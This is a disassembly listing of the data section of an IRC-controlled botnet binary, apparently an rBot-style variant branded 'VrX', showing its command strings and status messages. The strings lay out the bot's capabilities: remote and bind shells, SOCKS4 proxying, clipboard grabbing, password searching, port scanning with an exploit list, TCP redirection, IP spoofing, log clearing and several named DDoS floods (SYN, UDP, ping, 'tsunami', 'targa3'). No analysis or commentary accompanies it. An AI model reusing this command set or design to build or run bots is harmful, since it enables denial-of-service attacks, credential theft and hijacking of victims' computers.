dword_42BCCC	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCD8	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCE8	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2AC5o
unk_42BCF8	db    3			; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1	db '8,1-VrX- Reconnecting.',0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
					; sub_401ACD:loc_409570o ...
		align 4
unk_42BD28	db    3			; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec	db '8,1-VrX- Disconnecting.',0
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
					; sub_401ACD+78C1o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
		align 4
unk_42BD78	db    3			; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea	db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
		align 4
unk_42BDA4	db    3			; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_	db '8,1-VrX- Bot ID: %s.',0
		align 4
unk_42BDBC	db  2Dh	; -		; DATA XREF: sub_401ACD+2986o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_19	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BDF8	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+2917o
		dd 65726874h, 2E736461h, 0
dword_42BE18	dd 627573h		; DATA XREF: sub_401ACD+28F1o
unk_42BE1C	db    3			; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList	db '8,1-VrX- Alias list.',0
		align 4
unk_42BE34	db  2Dh	; -		; DATA XREF: sub_401ACD+2884o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_20	db '- Failed to start listing thread, error: <%d>.',0
dword_42BE6C	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2815o
		dd 2E676Fh
unk_42BE84	db    3			; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn	db '8,1-VrX- Network Info.',0
unk_42BE9C	db    3			; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf	db '8,1-VrX- System Info.',0
		align 4
unk_42BEB4	db    3			; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB	db '8,1-VrX- Removing Bot.',0
unk_42BECC	db  2Dh	; -		; DATA XREF: sub_401ACD+26CDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42BF08	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+2658o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+2638o
		align 4
unk_42BF2C	db  2Dh	; -		; DATA XREF: sub_401ACD+25D9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 4
unk_42BF4C	db    3			; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_	db '8,1-VrX- Uptime: %s.',0
		align 4
unk_42BF64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F8Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BF84	db  2Dh	; -		; DATA XREF: sub_401ACD+24B6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BFAC	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
unk_42BFD8	db    3			; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo	db '8,1-VrX- Get Clipboard.',0
		align 4
dword_42BFF4	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+2456o
		dd 2Dh
unk_42C00C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F13o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C038	db  2Dh	; -		; DATA XREF: sub_401ACD+243Fo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C05C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE8o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C088	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C0B4	db  2Dh	; -		; DATA XREF: sub_401ACD+240Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+23BAo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_22	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C114	db  2Dh	; -		; DATA XREF: sub_401ACD+234Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C150	db  2Dh	; -		; DATA XREF: sub_401ACD+2265o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C18C	db  2Dh	; -		; DATA XREF: sub_401ACD+21FAo
					; sub_40BD91+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1C8	db  2Dh	; -		; DATA XREF: sub_401ACD+20F3o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C204	db  2Dh	; -		; DATA XREF: sub_401ACD+2084o
					; sub_40BD91+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C238	db  2Dh	; -		; DATA XREF: sub_401ACD+1FCFo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
unk_42C258	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403A86o
		db 3, 34h, 2
		db  4Dh	; M
		db 61h,	2 dup(53h)
		db  20h
		db 53h,	63h, 41h
		db  6Eh	; n
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start scan, port is invalid.',0
unk_42C290	db  2Dh	; -		; DATA XREF: sub_401ACD+1F6Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_26	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C2CC	db  2Dh	; -		; DATA XREF: sub_401ACD+1EFBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1ED0o
					; sub_401ACD+5B20o
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1EC9o
					; sub_401ACD+5B19o
		align 4
dword_42C34C	dd 234032Dh, 3025A56h	; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
		align 4
unk_42C388	db  2Dh	; -		; DATA XREF: sub_401ACD+1CB2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start search thread, error: <%d>.',0
unk_42C3C4	db  2Dh	; -		; DATA XREF: sub_401ACD+1C38o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1BEFo
		align 10h
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1BDEo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+1BC8o
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1BB1o
		align 4
aAs		db 'as',0               ; DATA XREF: sub_401ACD+1B9Co
		align 10h
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1B87o
unk_42C444	db    3			; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB	db '8,1-VrX- Crashing bot.',0
aShitycrash	db 'shitycrash',0       ; DATA XREF: sub_401ACD+1B21o
					; sub_401ACD+1B71o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B0Co
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1AF7o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1AE2o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1ACDo
		align 10h
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1AB8o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1AA3o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1A79o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1A64o
		align 10h
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1A4Fo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A3Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A25o
		align 10h
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A10o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+19FBo
unk_42C4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+19BDo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+19A2o
					; sub_401ACD+3C81o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+198Eo
		align 10h
unk_42C520	db    3			; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList	db '8,1-VrX- Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1939o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C550	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+1902o
dword_42C564	dd 6F6877h		; DATA XREF: sub_401ACD+18E5o
dword_42C568	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C574	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+18D5o
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+18BCo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+18A7o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+1892o
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+187Do
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+1868o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+1853o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+183Eo
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1829o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+1814o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+17FFo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+17EAo
		align 4
aKosomaky4d	db 'KOSOMAKY4D',0       ; DATA XREF: sub_401ACD+17C0o
					; sub_401ACD+17D5o
		align 10h
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17ABo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+1796o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+1781o
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+176Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1757o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1742o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+172Do
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1718o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1703o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+16EEo
aT:					; DATA XREF: sub_401ACD+16D9o
					; ___:00438AFCo
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16C4o
unk_42C628	db    3			; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR	db '8,1-VrX- Failed to reboot system.',0
		align 4
unk_42C64C	db    3			; DATA XREF: sub_401ACD+1689o
a81VrxRebooting	db '8,1-VrX- Rebooting system.',0
aR3start	db 'r3start',0          ; DATA XREF: sub_401ACD+1672o
aI:					; DATA XREF: sub_401ACD+165Do
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1648o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1633o
					; ___:00438B4Co
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+161Eo
		align 4
aQ:					; DATA XREF: sub_401ACD+1609o
					; ___:off_438768o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+15F4o
		align 10h
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+15DFo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15CAo
		align 10h
aR:					; DATA XREF: sub_401ACD+15B5o
					; sub_401ACD+3D8Eo ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15A0o
		align 10h
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+158Bo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+1576o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1561o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1537o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1522o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+150Do
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+14F8o
		align 4
dword_42C70C	dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+14E8o
		align 10h
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14CFo
		align 4
dword_42C72C	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14C4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14BFo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14A6o
		align 10h
dword_42C750	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+149Bo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+1496o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+147Do
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1468o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1453o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+143Eo
		align 10h
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1429o
		align 10h
dword_42C7A0	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1400o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+13D7o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13AEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+1385o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+135Co
unk_42C7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+1342o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C81C	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1307o
					; sub_401ACD+13A3o
dword_42C82C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1302o
					; sub_401ACD+139Eo
dword_42C83C	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+12E9o
					; sub_401ACD+137Ao
dword_42C84C	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+12E4o
					; sub_401ACD+1375o
dword_42C85C	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+1289o
					; sub_401ACD+13F5o
dword_42C868	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
					; sub_401ACD+13F0o
dword_42C874	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
					; sub_401ACD+13CCo
dword_42C880	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
					; sub_401ACD+13C7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1206o
		align 4
dword_42C898	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+11FBo
					; sub_401ACD+12C8o
dword_42C8A4	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
					; sub_401ACD+12C3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+11DDo
		align 4
dword_42C8BC	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+11D2o
					; sub_401ACD+12AAo
dword_42C8CC	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11CDo
					; sub_401ACD+12A5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11B4o
		align 4
dword_42C8E8	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11A9o
					; sub_401ACD+1328o
dword_42C8F8	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11A4o
					; sub_401ACD+1323o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+118Bo
		align 4
dword_42C914	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
					; sub_401ACD+124Ao
dword_42C920	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
					; sub_401ACD+1245o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1162o
dword_42C934	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1157o
					; sub_401ACD+122Co
dword_42C940	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
					; sub_401ACD+1227o
dword_42C94C	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C958	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+112Eo
dword_42C968	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1129o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1110o
		align 4
dword_42C988	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C994	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1100o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+10E7o
dword_42C9A8	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10BEo
		align 4
dword_42C9C4	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10B3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+1095o
		align 10h
dword_42C9E0	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+108Ao
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+106Co
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1057o
		align 10h
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1042o
		align 4
dword_42CA08	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1037o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+1032o
					; sub_401ACD+1085o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1019o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1004o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+FEFo
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FDAo
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FC5o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FB0o
					; sub_401ACD+2D26o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+F9Bo
					; sub_401ACD+2D15o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+F86o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F71o
		align 4
aRz		db 'rz',0               ; DATA XREF: sub_401ACD+F5Co
		align 4
aRulez		db 'rulez',0            ; DATA XREF: sub_401ACD+F47o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F32o
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F1Do
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F08o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+EF3o
		align 4
aDi3		db 'di3',0              ; DATA XREF: sub_401ACD+EC9o
					; sub_401ACD+EDEo
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+EB4o
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+E9Co
a63		db '63',0               ; DATA XREF: sub_401ACD+D69o
		align 4
asc_42CAAC:				; DATA XREF: sub_401ACD+D41o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D04o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+CF9o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+CE8o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CCCo
		align 4
aUser_1		db '$user',0            ; DATA XREF: sub_401ACD+CBBo
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CA9o
aD		db '$%d',0              ; DATA XREF: sub_401ACD+C3Bo
aD_0		db '$%d-',0             ; DATA XREF: sub_401ACD+B77o
		align 4
aK:					; DATA XREF: sub_401ACD+A9Fo
					; sub_401ACD+3DBCo
		unicode	0, <k>,0
aC:					; DATA XREF: sub_401ACD+A87o
					; sub_401ACD+4AA4o
		unicode	0, <c>,0
unk_42CAF4	db  2Dh	; -		; DATA XREF: sub_401ACD+A64o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CB28	db  2Dh	; -		; DATA XREF: sub_401ACD+A53o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CB58	db  2Dh	; -		; DATA XREF: sub_401ACD+A42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_28	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42CB90	db  2Dh	; -		; DATA XREF: sub_401ACD+9D3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+93Co
		align 4
unk_42CBB8	db  2Dh	; -		; DATA XREF: sub_401ACD+91Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CBFC	db  2Dh	; -		; DATA XREF: sub_401ACD+904o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_29	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CC38	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+8F3o
		dd 0A0Dh
dword_42CC50	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8BFo
dword_42CC58	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8B4o
		dd 0D017325h, 0Ah
dword_42CC74	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+883o
dword_42CC80	dd 23h			; DATA XREF: sub_401ACD+7FAo
					; sub_40CD43+1Bo
unk_42CC84	db  2Dh	; -		; DATA XREF: sub_401ACD+769o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+6EAo
					; sub_401ACD+979o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6C3o
		align 10h
dword_42CCC0	dd 43434401h, 0		; DATA XREF: sub_401ACD+6A5o
dword_42CCC8	dd 323333h		; DATA XREF: sub_401ACD+62Fo
					; sub_401ACD+AC1o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+60Do
					; sub_409869+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+601o
					; sub_409869+16o
unk_42CCDC	db    3			; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0	db '8,1-VrX- User: %s logged out.',0
		align 4
unk_42CCFC	db    3			; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0	db '8,1-VrX- Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_401ACD+55Fo
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+522o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+511o
					; sub_401ACD+5CDo
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4ECo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3CEo
		align 10h
